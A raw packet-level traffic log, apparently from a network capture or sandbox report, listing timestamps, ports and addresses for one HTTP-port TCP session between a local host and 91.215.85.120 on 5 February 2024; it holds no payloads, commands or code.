Feb 5, 2024 10:57:26.759795904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759820938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759860039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759897947 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759919882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759933949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.759946108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.759972095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760010958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760046959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760066986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760083914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760098934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760122061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760159016 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760195017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760211945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760234118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760245085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760272980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760309935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760346889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760363102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760384083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760404110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760421038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760457993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760495901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760510921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760535955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760540962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760575056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760611057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760648012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760663033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760703087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760716915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760740042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760776997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760814905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760829926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760853052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760867119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.760891914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760927916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760966063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.760978937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761003971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761015892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761042118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761085033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761121035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761137009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761158943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761172056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761198997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761235952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761271954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761285067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761310101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761322021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761349916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761388063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761424065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761439085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761462927 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761472940 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761501074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761538029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761574984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761612892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761621952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761651039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761652946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761687994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761724949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761749983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761759996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761770010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761797905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761837006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761862993 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.761873960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761936903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761972904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.761986017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762011051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762023926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762048960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762087107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762124062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762136936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762162924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762172937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762202978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762238979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762274981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762290001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762312889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762326956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762351990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762388945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762425900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762440920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762465000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762475014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762502909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762541056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762577057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762594938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762614012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762629986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762651920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762692928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762728930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762747049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762767076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762773991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762804985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762842894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762878895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762912989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762914896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762943983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.762954950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.762993097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763029099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763048887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763065100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763072014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763103962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763139963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763175964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763195038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763214111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763225079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763251066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763288021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763324022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763340950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763360977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763372898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763398886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763434887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763472080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763488054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763509989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763521910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763546944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763585091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763621092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763633966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763659954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763669014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763699055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763736010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763772011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763786077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763809919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763814926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763849020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763885975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763922930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763935089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763961077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.763967037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.763998032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764035940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764071941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764085054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764110088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764118910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764147997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764185905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764221907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764235020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764261007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764267921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764298916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764337063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764373064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764385939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764410973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764425039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764450073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764486074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764522076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764533997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764559031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764571905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764595985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764631987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764667988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764681101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764703989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764717102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764741898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764779091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764813900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764828920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764852047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764861107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.764889956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764925957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764962912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.764971018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765002966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765011072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765042067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765079021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765114069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765125990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765152931 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765155077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765191078 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765228033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765265942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765275955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765302896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765312910 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765341043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765379906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765415907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765429020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765454054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765461922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765491009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765527010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765563011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765574932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765599966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765609980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765639067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765676022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765712023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765724897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765748978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765760899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765786886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765822887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765861034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765862942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765921116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765958071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.765974998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.765995979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766000986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766035080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766071081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766107082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766143084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766144991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766144991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766180038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766216993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766252041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766263962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766290903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766308069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766328096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766354084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766370058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766386032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766400099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766402006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766418934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766419888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766438961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766453028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766457081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766474962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766490936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766489983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766510010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766519070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766526937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766545057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766561985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766571999 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766582012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766592026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766601086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766618013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766634941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766637087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766637087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766653061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766658068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766669989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766688108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766688108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766705990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766712904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766712904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766726017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766731977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766743898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766752005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766772985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766773939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766792059 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766809940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766819954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766828060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766836882 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766846895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766863108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766865969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766881943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766891956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766891956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766900063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766911030 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766920090 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766937017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766940117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766940117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766956091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766958952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.766973972 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.766990900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767000914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767008066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767021894 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767028093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767040968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767047882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767065048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767066002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767085075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767088890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767088890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767102957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767108917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767119884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767129898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767141104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.767157078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767157078 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.767158985 CET	80	49735	91.215.85.120	192.168.2.4
